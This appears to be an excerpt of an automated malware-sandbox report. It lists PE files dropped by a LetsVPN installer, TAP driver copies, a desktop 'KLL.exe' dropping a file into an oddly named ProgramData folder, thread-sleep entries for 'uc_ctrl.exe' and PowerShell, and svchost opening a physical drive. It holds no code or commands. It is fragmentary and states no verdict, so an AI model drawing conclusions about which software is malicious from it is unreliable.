            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsz7B4.tmp\nsExec.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-arm\native\e_sqlite3.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.ZipFile.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.Watcher.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x86\native\e_sqlite3.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Encoding.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Thread.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\x86\WebView2Loader.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Extensions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Parallel.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Numerics.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.batteries_v2.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.NetTcp.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\Update.exeJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Syndication.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.AppContext.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.Extensions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Ports.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Process.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Globalization.Calendars.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.ReaderWriter.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.Extensions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Expressions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\microsoft.identitymodel.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.MsDelta.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\WindowsInput.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Odbc.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Cng.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.Unsafe.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.SystemEvents.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Sockets.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Permissions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.CodeDom.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.RuntimeInformation.dllJump to dropped file
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\tap0901.sys (copy)Jump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.IPNetwork.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\x64\WebView2Loader.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.SqlClient.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Memory.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceProcess.ServiceController.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Parallel.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Compression.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.IsolatedStorage.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Contracts.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\uninst.exeJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\NuGet.Squirrel.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.Common.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.AccessControl.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebHeaderCollection.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tracing.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Pkcs.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Timer.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsz7B4.tmp\nsDialogs.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Xml.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.RegularExpressions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Duplex.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.FileSystem.DriveInfo.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.UnmanagedMemoryStream.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.WinForms.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Linq.Queryable.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.CompilerServices.VisualC.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlSerializer.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TextWriterTraceListener.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Wpf.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\arm64\WebView2Loader.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Security.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.FileVersionInfo.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NameResolution.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Packaging.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.ResourceManager.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.OleDb.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Overlapped.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.core.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XPath.XDocument.dllJump to dropped file
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\SET523B.tmpJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Pdb.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Json.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNInfraStructure.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Requests.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\ToastNotifications.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.StackTrace.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.SecureString.dllJump to dropped file
            Source: C:\Windows\System32\drvinst.exeDropped PE file which has not been started: C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\SET54CB.tmpJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SharpCompress.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLite-net.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Extensions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlDocument.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Mdb.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.TypeConverter.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NetworkInformation.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsz7B4.tmp\System.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Security.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Console.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\FontAwesome.WPF.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\WebSocket4Net.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Rocks.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TraceSource.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Configuration.ConfigurationManager.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.PerformanceCounter.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\driver\tap0901.sysJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Squirrel.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Writer.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Http.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.NonGeneric.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tools.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Numerics.Vectors.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.Client.dllJump to dropped file
            Source: C:\Windows\System32\drvinst.exeDropped PE file which has not been started: C:\Windows\System32\drivers\SET5AF3.tmpJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\netstandard.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.provider.dynamic_cdecl.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Concurrent.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.EventLog.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.ThreadPool.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Debug.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ObjectModel.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Win32.Registry.AccessControl.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.ProtectedData.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensionsAsync.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Claims.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Dynamic.Runtime.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Expression.Interactions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Algorithms.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.PatchApi.dllJump to dropped file
            Source: C:\Windows\System32\drvinst.exeDropped PE file which has not been started: C:\Windows\System32\drivers\tap0901.sys (copy)Jump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Web.Services.Description.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\ICSharpCode.AvalonEdit.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.AccessControl.dllJump to dropped file
            Source: C:\Windows\System32\drvinst.exeDropped PE file which has not been started: C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\tap0901.sys (copy)Jump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Tasks.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.Reader.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Management.Automation.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Windows.Interactivity.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Csp.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Formatters.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\MdXaml.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Core.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.EventBasedAsync.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.Extensions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Xml.dllJump to dropped file
            Source: C:\Users\user\Desktop\KLL.exeDropped PE file which has not been started: C:\ProgramData\s2XlA\7R1b9~m7\sJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\runtimes\win-x64\native\e_sqlite3.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.Annotations.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SuperSocket.ClientEngine.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Http.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.dllJump to dropped file
            Source: C:\Windows\System32\svchost.exe TID: 7484Thread sleep time: -30000s >= -30000sJump to behavior
            Source: C:\Windows\System32\svchost.exe TID: 7772Thread sleep time: -30000s >= -30000sJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe TID: 8152Thread sleep count: 5059 > 30Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe TID: 8152Thread sleep time: -5059000s >= -30000sJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe TID: 8144Thread sleep count: 37 > 30Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe TID: 8152Thread sleep count: 4565 > 30Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe TID: 8152Thread sleep time: -4565000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8108Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7916Thread sleep time: -5534023222112862s >= -30000s
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 5944Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 3796Thread sleep time: -3689348814741908s >= -30000s
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 5472Thread sleep time: -7200000s >= -30000s
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 7228Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 5300Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 3128Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 1640Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 8048Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 3916Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe TID: 3904Thread sleep time: -922337203685477s >= -30000s
            Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0Jump to behavior
